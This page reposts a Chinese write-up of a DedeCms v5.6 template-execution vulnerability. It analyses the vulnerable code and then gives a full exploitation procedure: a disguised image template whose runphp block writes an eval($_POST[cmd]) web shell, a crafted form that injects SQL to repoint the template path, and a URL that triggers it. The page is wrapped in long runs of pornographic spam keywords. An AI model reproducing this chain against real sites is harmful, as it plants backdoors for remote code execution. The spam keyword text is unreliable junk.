午夜视频免费看_日韩三级电影网站_国产精品久久一级_亚洲一级在线播放_人妻体内射精一区二区三区_91夜夜揉人人捏人人添红杏_91福利在线导航_国产又粗又猛又黄又爽无遮挡_欧美日韩一区在线播放_中文字幕一区二区三区四区不卡 _日日夜夜精品视频免费观看_欧美韩日一区二区三区

主頁 > 網站建設 > 建站知識 > DedeCms/織夢cms模板執行漏洞(影響版本v5.6)

DedeCms/織夢cms模板執行漏洞(影響版本v5.6)

POST TIME:2017-11-13 00:50

影響版本:
DEDECMS v5.6 Final

程序介紹:
DedeCms 基于PHP+MySQL的技術開發,支持Windows、Linux、Unix等多種服務器平臺,從2004年開始發布第一個版本開始,至今已經發布了五個大版本。DedeCms以簡單、健壯、靈活、開源幾大特點占領了國內CMS的大部份市場,目前已經有超過二十萬個站點正在使用DedeCms或居于DedeCms核心,是目前國內應用最廣泛的php類CMS系統。

漏洞分析:

Dedecms V5.6 Final版本中的各個文件存在一系列問題,經過精心構造的含有惡意代表的模板內容可以通過用戶后臺的上傳附件的功能上傳上去,然后通過SQL注入修改附加表的模板路徑為我們上傳的模板路徑,模板解析類:include/inc_archives_view.php沒有對模板路徑及名稱做任何限制,則可以成功執行惡意代碼。

1、member/article_edit.php文件(注入):
//漏洞在member文件夾下普遍存在,$dede_addonfields是由用戶提交的,可以被偽造,偽造成功即可帶入sql語句,于是我們可以給附加表的內容進行update賦值。
PHP Code復制內容到剪貼板
  1. //分析處理附加表數據
  2. $inadd_f='';
  3. if(!emptyempty($dede_addonfields))//自己構造$dede_addonfields
  4. {
  5. $addonfields=explode(';',$dede_addonfields);
  6. if(is_array($addonfields))
  7. {
  8. print_r($addonfields);
  9. foreach($addonfieldsas$v)
  10. {
  11. if($v=='')
  12. {
  13. continue;
  14. }
  15. $vs=explode(',',$v);
  16. if(!isset(${$vs[0]}))
  17. {
  18. ${$vs[0]}='';
  19. }
  20. ${$vs[0]}=GetFieldValueA(${$vs[0]},$vs[1],$aid);
  21. $inadd_f.=','.$vs[0]."='".${$vs[0]}."'";
  22. echo$inadd_f;
  23. }
  24. }
  25. }
  26. if($addtable!='')
  27. {
  28. $upQuery="Update`$addtable`settypeid='$typeid',body='$body'{$inadd_f},userip='$userip'whereaid='$aid'";//執行構造的sql
  29. if(!$dsql->ExecuteNoneQuery($upQuery))
  30. {
  31. ShowMsg("更新附加表`$addtable`時出錯,請聯系管理員!","javascript:;");
  32. exit();
  33. }
  34. }
2、include/inc_archives_view.php:
//這是模板處理類,如果附加表的模板路徑存在,直接從附加表取值;GetTempletFile獲取模板文件的方法就是取的此處的模板路徑,從來帶進去解析。
PHP Code復制內容到剪貼板
  1. //issystem==-1表示單表模型,單表模型不支持redirecturl這類參數,因此限定內容普通模型才進行下面查詢
  2. if($this->ChannelUnit->ChannelInfos['addtable']!=''&&$this->ChannelUnit->ChannelInfos['issystem']!=-1)
  3. {
  4. if(is_array($this->addTableRow))
  5. {
  6. $this->Fields['redirecturl']=$this->addTableRow['redirecturl'];
  7. $this->Fields['templet']=$this->addTableRow['templet'];//取值
  8. $this->Fields['userip']=$this->addTableRow['userip'];
  9. }
  10. $this->Fields['templet']=(emptyempty($this->Fields['templet'])?'':trim($this->Fields['templet']));
  11. $this->Fields['redirecturl']=(emptyempty($this->Fields['redirecturl'])?'':trim($this->Fields['redirecturl']));
  12. $this->Fields['userip']=(emptyempty($this->Fields['userip'])?'':trim($this->Fields['userip']));
  13. }
  14. else
  15. {
  16. $this->Fields['templet']=$this->Fields['redirecturl']='';
  17. }
  18. //獲得模板文件位置
  19. functionGetTempletFile()
  20. {
  21. global$cfg_basedir,$cfg_templets_dir,$cfg_df_style;
  22. $cid=$this->ChannelUnit->ChannelInfos['nid'];
  23. if(!emptyempty($this->Fields['templet']))
  24. {
  25. $filetag=MfTemplet($this->Fields['templet']);
  26. if(!ereg('/',$filetag))$filetag=$GLOBALS['cfg_df_style'].'/'.$filetag;
  27. }
  28. else
  29. {
  30. $filetag=MfTemplet($this->TypeLink->TypeInfos["temparticle"]);
  31. }
  32. $tid=$this->Fields['typeid'];
  33. $filetag=str_replace('{cid}',$cid,$filetag);
  34. $filetag=str_replace('{tid}',$tid,$filetag);
  35. $tmpfile=$cfg_basedir.$cfg_templets_dir.'/'.$filetag;
  36. if($cid=='spec')
  37. {
  38. if(!emptyempty($this->Fields['templet']))
  39. {
  40. $tmpfile=$cfg_basedir.$cfg_templets_dir.'/'.$filetag;
  41. }
  42. else
  43. {
  44. $tmpfile=$cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/article_spec.htm";
  45. }
  46. }
  47. if(!file_exists($tmpfile))
  48. {
  49. $tmpfile=$cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/".($cid=='spec'?'article_spec.htm':'article_default.htm');
  50. }
  51. return$tmpfile;
  52. }
漏洞利用:

1.上傳一個模板文件:

注冊一個用戶,進入用戶管理后臺,發表一篇文章,上傳一個圖片,然后在附件管理里,把圖片替換為我們精心構造的模板,比如圖片名稱是:
uploads/userup/2/12OMX04-15A.jpg

模板內容是(如果限制圖片格式,加gif89a):
{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
@fclose($fp);
{/dede:name}

2.修改剛剛發表的文章,查看源文件,構造一個表單:
XML/HTML Code復制內容到剪貼板
  1. <formclass="mTB10mL10mR10"name="addcontent"id="addcontent"action="http://127.0.0.1/dede/member/article_edit.php"method="post"enctype="multipart/form-data"onsubmit="returncheckSubmit();">
  2. <inputtype="hidden"name="dopost"value="save"/>
  3. <inputtype="hidden"name="aid"value="2"/>
  4. <inputtype="hidden"name="idhash"value="f5f682c8d76f74e810f268fbc97ddf86"/>
  5. <inputtype="hidden"name="channelid"value="1"/>
  6. <inputtype="hidden"name="oldlitpic"value=""/>
  7. <inputtype="hidden"name="sortrank"value="1275972263"/>
  8. <divid="mainCp">
  9. <h3class="meTitle"><strong>修改文章</strong></h3>
  10. <divclass="postForm">
  11. <label>標題:</label>
  12. <inputname="title"type="text"id="title"value="11233ewsad"maxlength="100"class="intxt"/>
  13. <label>標簽TAG:</label>
  14. <inputname="tags"type="text"id="tags"value="hahah,test"maxlength="100"class="intxt"/>(用逗號分開)
  15. <label>作者:</label>
  16. <inputtype="text"name="writer"id="writer"value="test"maxlength="100"class="intxt"style="width:219px"/>
  17. <label>隸屬欄目:</label>
  18. <selectname='typeid'size='1'>
  19. <optionvalue='1'class='option3'selected=''>測試欄目</option>
  20. </select><spanstyle="color:#F00">*</span>(不能選擇帶顏色的分類)
  21. <label>我的分類:</label>
  22. <selectname='mtypesid'size='1'>
  23. <optionvalue='0'selected>請選擇分類...</option>
  24. <optionvalue='1'class='option3'selected>hahahha</option>
  25. </select>
  26. <label>信息摘要:</label>
  27. <textareaname="description"id="description">1111111</textarea>
  28. (內容的簡要說明)
  29. <label>縮略圖:</label>
  30. <inputname="litpic"type="file"id="litpic"onchange="SeePicNew('divpicview',this);"maxlength="100"class="intxt"/>
  31. <inputtype='text'name='templet'
  32. value="../uploads/userup/2/12OMX04-15A.jpg">
  33. <inputtype='text'name='dede_addonfields'
  34. value="templet,htmltext;">(這里構造)
  35. </div>
  36. <!--表單操作區域-->
  37. <h3class="meTitle">詳細內容</h3>
  38. <divclass="contentShowpostForm">
  39. <inputtype="hidden"id="body"name="body"value="<div><ahref="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg"target="_blank"><imgborder="0"alt=""src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg"width="1010"height="456"/></a></div><p><?phpinfo()?>1111111</p>"style="display:none"/><inputtype="hidden"id="body___Config"value="FullPage=false"style="display:none"/><iframeid="body___Frame"src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member"width="100%"height="350"frameborder="0"scrolling="no"></iframe>
  40. <label>驗證碼:</label>
  41. <inputname="vdcode"type="text"id="vdcode"maxlength="100"class="intxt"style='width:50px;text-transform:uppercase;'/>
  42. <imgsrc="http://127.0.0.1/dede/include/vdimgck.php"alt="看不清?點擊更換"align="absmiddle"style="cursor:pointer"onclick="this.src=this.src+'?'"/>
  43. <buttonclass="button2"type="submit">提交</button>
  44. <buttonclass="button2ml10"type="reset"onclick="location.reload();">重置</button>
  45. </div>
  46. </div>
  47. </form>
提交,提示修改成功,則我們已經成功修改模板路徑。

3.訪問修改的文章:

假設剛剛修改的文章的aid為2,則我們只需要訪問:
http://127.0.0.1/dede/plus/view.php?aid=2
即可以在plus目錄下生成小馬:1.php

解決方案:
廠商補丁:
DEDECMS
------------
目前廠商還沒有提供補丁或者升級程序,我們建議使用此軟件的用戶隨時關注廠商的主頁以獲取最新版本:
http://www.dedecms.com/

信息來源: oldjun's Blog



收縮
  • 微信客服
  • 微信二維碼
  • 電話咨詢

  • 400-1100-266
美女网站色91| 亚洲免费观看高清完整版在线观看熊| 婷婷激情四射五月天| 国产精品久久久久毛片| 亚洲欧美激情精品一区二区| 久久久com| 久久视频这里有精品| 超碰97在线资源站| 亚洲国产精品视频在线| 蜜桃视频一区二区| 久久精品国产**网站演员| 日韩精品中文字幕视频在线| 黄www在线观看| 亚洲中文字幕在线观看| 91久久精品国产91性色tv| 亚洲成av人片| 精品国产一区二区三区久久久久久 | 9久久9毛片又大又硬又粗| 国产真实乱在线更新| 中文字幕亚洲欧美日韩高清| 色黄视频免费看| 中文字字幕在线观看| 欧美一级欧美一级在线播放| 国产伦精品一区二区三区视频黑人| 一本之道在线视频| 欧美亚洲天堂网| 免费高清在线视频一区·| 亚洲精品中字| www.蜜臀av| 日韩一区二区三区观看| 亚洲free嫩bbb| 欧美老女人bb| 色拍拍在线精品视频8848| 久久免费一级片| 国产高清亚洲一区| 成人欧美一区二区三区在线湿哒哒| 精品少妇爆乳无码av无码专区| 日本成人在线不卡视频| 精品国产欧美一区二区| 国产特级淫片高清视频| 免费看黄色aaaaaa 片| 国产夫妻在线观看| 日本精品久久久久影院| 中文字幕电影av| 在线观看国产91| 樱花草www在线| 欧美一级片在线免费观看| 一区二区三区四区蜜桃| 福利在线一区二区| 69堂成人精品免费视频| 美女久久一区| 亚洲.国产.中文慕字在线| 日韩欧美不卡视频| 中文字幕中文字幕在线中心一区| 欧美一级国产精品| 性欧美8khd高清极品| 日韩免费中文专区| 精品一区二区三区的国产在线播放| 亚洲精品美女在线观看播放| 中文字幕22页| 亚洲精品视频免费观看| 亚洲香蕉av在线一区二区三区| 成人在线免费观看网址| 欧美日韩综合视频网址| aaa毛片在线观看| 国产成人免费网站| 7777奇米亚洲综合久久| 91麻豆精品国产91久久综合| 欧美福利视频一区| 亚洲欧美日韩视频一区| 国产一区视频在线| 黄色三级视频在线播放| 国产一级做a爱免费视频| 久久精品久久综合| 亚洲最大成人综合| 色综合视频一区中文字幕| 国产一级特黄a大片99| 亚洲性图第一页| 久久在线精品| 精品国产伦理网| 免费亚洲一区二区| 91禁男男在线观看| 视频一区二区三区中文字幕| 国产亚洲一区二区三区| 在线精品国产欧美| 国产对白在线播放| 日产精品久久久| 亚洲欧美韩国综合色| 国产91精品黑色丝袜高跟鞋| 亚洲高清在线不卡| 二区三区在线视频| 日韩天堂在线观看| 一区二区精品在线观看| 国产精品成人av久久| 亚洲色图20p| 成人妇女免费播放久久久| 亚洲午夜激情影院| 国产精品一区二区果冻传媒| 亚洲性xxxx| 999精品网站| 欧美综合视频在线| 欧洲亚洲国产日韩| 一区二区三区欧美成人| 一区二区三区精| 91精品国产一区二区| 性欧美.com| 亚洲美女福利视频| 91精品国产aⅴ一区二区| 天堂av免费看| www.成人在线观看| 亚洲天堂第一页| 天天爽夜夜爽一区二区三区| 国产精品一区一区三区| 欧美在线影院在线视频| 影音先锋男人在线| 欧美日韩亚洲一区二区三区| 日韩欧美一区二区不卡| 热99这里只有精品| 韩国av一区二区| 国产精品丝袜一区二区三区| 国产成人在线免费视频| 欧美军同video69gay| 日韩一级在线免费观看| 丁香六月综合激情| 国模极品一区二区三区| 熟妇高潮精品一区二区三区| 一区二区三区精品视频| 日本精品福利视频| 日批视频免费播放| 午夜精品理论片| 一区二区三区福利视频| 日韩精品视频免费专区在线播放| 污视频在线观看免费网站| 高清成人在线观看| 九九九久久久久久| 一区视频免费观看 | 激情综合亚洲精品| 国产不卡av在线| 91麻豆精品成人一区二区| 精品剧情在线观看| 中文字幕av网址| 欧美一区二区三区视频在线观看| 久久久久久香蕉| 精品久久久久久久久久| 91九色在线观看视频| 黄色一级视频免费看| 久久免费国产视频| 精品欧美一区二区精品少妇| 热久久这里只有精品| 中文字幕人妻一区二区在线视频 | 麻豆精品一区二区三区视频| 日韩免费观看高清完整版| 涩多多在线观看| 欧美成人一级视频| 国产成人无码精品久在线观看 | 一区二区三区欧美在线| 亚洲免费毛片网站| 国产精品一区二区在线免费观看| 欧美成人女星排名| xxxxxx国产| 成人免费观看网址| 91免费观看在线| xxx国产在线观看| 亚洲福利视频三区| 久久久久久成人网| 免费av一区二区| 久久狠狠婷婷| 欧美日韩dvd| 欧美三级免费观看| 中文字幕人妻一区二区三区在线视频 | 手机看片日韩国产| 欧美亚洲动漫精品| 中文字幕日韩第一页| 欧美一区国产一区| 亚洲国产毛片aaaaa无费看| 人人人妻人人澡人人爽欧美一区| 亚洲视频欧美视频| 蜜臀av一区二区在线观看| 午夜免费电影一区在线观看| 色噜噜夜夜夜综合网| 成人免费a视频| 国产亚洲自拍偷拍| 色婷婷综合视频在线观看| 国产午夜在线播放| 亚洲自拍另类欧美丝袜| 成人白浆超碰人人人人| 老鸭窝一区二区| 久久久久久久久爱| 日本一区二区动态图| 中文乱码字幕高清一区二区| 国产麻豆日韩| 欧美日韩一区国产| 神宫寺奈绪一区二区三区| 日韩久久久久久久久久久久| 国产亚洲视频在线观看| 国产乱码精品一品二品| 亚洲最大综合网| 欧美成人精品不卡视频在线观看| 国产欧美中文在线| 国产女人18水真多毛片18精品| 国产精品精品久久久久久| 色狠狠一区二区三区香蕉| 国产黄色大片网站| 韩国一区二区三区四区| 国产裸体写真av一区二区 | 欧美一区,二区| 性活交片大全免费看| av在线不卡一区| 亚洲成avwww人| 99久久精品国产观看| 中文字幕视频网| 欧美日韩在线不卡视频| 国产欧美日韩精品专区| 91精品国产一区二区| 久久国产日韩欧美精品| 日本a级片视频| 日韩在线视频在线观看| 欧美激情综合亚洲一二区| 欧美二区三区的天堂| 久久影院视频免费| 91精品国自产| 无码人妻精品一区二区三| 亚洲欧美在线网| 亚洲精品永久免费| 一个色在线综合| 国产男女裸体做爰爽爽| 欧美成人黄色网址| 国产高清视频一区三区| 欧美午夜激情视频| 欧美激情一区不卡| 亚洲专区在线播放| 男人晚上看的视频| 亚洲一二三不卡| 在线免费观看成人网| 2023亚洲男人天堂| 亚洲欧美日韩第一区| 欧美三级乱人伦电影| 国产精品全国免费观看高清| 国产精品亚洲综合一区在线观看| 99久久久久久久| 国产高潮国产高潮久久久91 | 国产在线高清精品| 久久91精品国产91久久久| 日韩福利在线播放| 五月婷婷激情综合网| 亚洲欧洲色图综合| 国产色一区二区| 狠狠久久亚洲欧美| 日本欧美一区二区三区乱码| xxxx国产精品| 一区二区精品视频在线观看| 国产真人真事毛片视频| 欧美 变态 另类 人妖| 九热视频在线观看| 日本在线观看a| 日韩精品另类天天更新| 日本一区视频在线观看免费| 国产精品一区二区三区免费| 高清一区二区三区视频| 国产日产欧美a一级在线| 奇米一区二区三区四区久久| 国产一区二区不卡在线| 人妻与黑人一区二区三区| 天天操天天舔天天干| 日本最新不卡在线| 可以免费看不卡的av网站| 中文字幕一区2区3区| 男人的天堂久久久| 无码人妻丰满熟妇精品| 麻豆精品一区二区三区视频| 无码熟妇人妻av| 久久久久久激情| 中日精品一色哟哟| 后进极品白嫩翘臀在线视频| 久久久www| 国产精品一区二区不卡| 国产精品久久久久久亚洲毛片 | 国产精品成人网站| 国产大片中文字幕| 99免费在线观看| 中文字幕乱码无码人妻系列蜜桃| 欧美一区二区公司| 成人国产精品视频| 久久伊99综合婷婷久久伊| 亚洲福利电影网| 日韩电视剧免费观看网站| 亚洲激情成人网| 久久精品视频中文字幕| 国产欧美在线观看| 久久免费看毛片| 成人午夜激情av| 亚洲人做受高潮| 免费观看黄色一级视频| 国产一区福利在线| 午夜视频在线观看一区二区| 亚洲欧美中文另类| 岛国一区二区三区高清视频| 免费无码不卡视频在线观看| 日韩一级av毛片| 91中文字幕在线视频| 久久久精品影视| 91精品国产综合久久小美女| 7m精品福利视频导航| 国产区一区二区三区| 奇米777在线视频| 国产精品综合激情| 日韩在线a电影| 黄色一级片免费播放| 国产成人福利视频| 美女扒开大腿让男人桶| 久久久久黄色片| 91丝袜高跟美女视频| 精品久久久久久久久久久久久久久久久 | 欧美激情第六页| 欧美 日韩 国产 成人 在线观看 | 中文字幕一区二区三区在线观看| 亚洲欧洲激情在线| 日本在线一区| 人妻无码一区二区三区| av综合在线观看| 欧美三级中文字幕在线观看| 国产日本欧美在线观看| 日韩av在线第一页| 亚洲自拍偷拍色图| youjizz.com在线观看| 黄瓜视频在线免费观看| 99热这里都是精品| 最近中文字幕2019免费| 国产传媒一区二区三区| 无码 人妻 在线 视频| 国产精品91xxx| 日韩视频中文字幕| 18黄暴禁片在线观看| 在线看成人av| 亚洲成av人片www| 欧美综合激情网| bl动漫在线观看| 黄色日韩网站视频| 久久精品91久久香蕉加勒比| 亚洲天堂av线| 精品一区二区国语对白| 日韩亚洲欧美在线| 91午夜在线观看| 午夜在线视频观看| 欧美亚洲动漫精品| 日韩av一区二区三区美女毛片| 无码人妻丰满熟妇区五十路| 亚洲欧洲日本在线| 国产精品免费一区二区三区观看| 久久久久亚洲av成人无码电影| 国产女人水真多18毛片18精品视频 | 亚洲精品xxx| 青青在线视频免费| 成人av在线一区二区三区| 中日韩美女免费视频网址在线观看 | dy888午夜| 精品人妻伦一二三区久久 | 国产乱码精品一区二三区蜜臂| 欧美亚洲国产怡红院影院| 99久久综合狠狠综合久久止| 亚洲成熟少妇视频在线观看| 欧美三级中文字幕在线观看| 日韩久久精品一区二区三区| 久久视频一区| 91精品国产高清| 永久免费观看片现看| 日本一区二区三区免费乱视频 | 成人免费视频app| 97香蕉超级碰碰久久免费软件| 亚洲av鲁丝一区二区三区| 欧美日韩国产另类一区| av在线网址导航| 亚洲免费在线视频| 色综合久久久久无码专区| 国产午夜精品一区二区| 国产对白在线播放| 韩国av一区二区三区四区| av免费精品一区二区三区| 无码人妻av一区二区三区波多野| 欧美精品一区二区三区久久久 | 蜜桃一区二区三区四区| 99精品国产一区二区| 久久精品二区三区| 91精品国产99久久久久久红楼 | 欧洲亚洲一区二区| 波多野结衣视频一区| 福利精品视频| 欧美 日韩 国产 成人 在线| 国产精品一区电影| 日本麻豆一区二区三区视频| 国产精品久久久999| 久久久久久不卡| 美女少妇精品视频| 国产精品视频在线观看免费| 久久激情五月丁香伊人| 91精品国产乱码久久| 91精品国产高清久久久久久91| 国产婷婷色一区二区在线观看| 欧美精品福利在线| www.色亚洲| 色狠狠久久av五月综合|| 国内精品视频一区二区三区八戒| 好吊色欧美一区二区三区四区| 久久国产夜色精品鲁鲁99| 欧美另类网站| 国产天堂亚洲国产碰碰| 女人床在线观看| 欧美美女网站色| 久久久久久少妇| 九九九九九精品|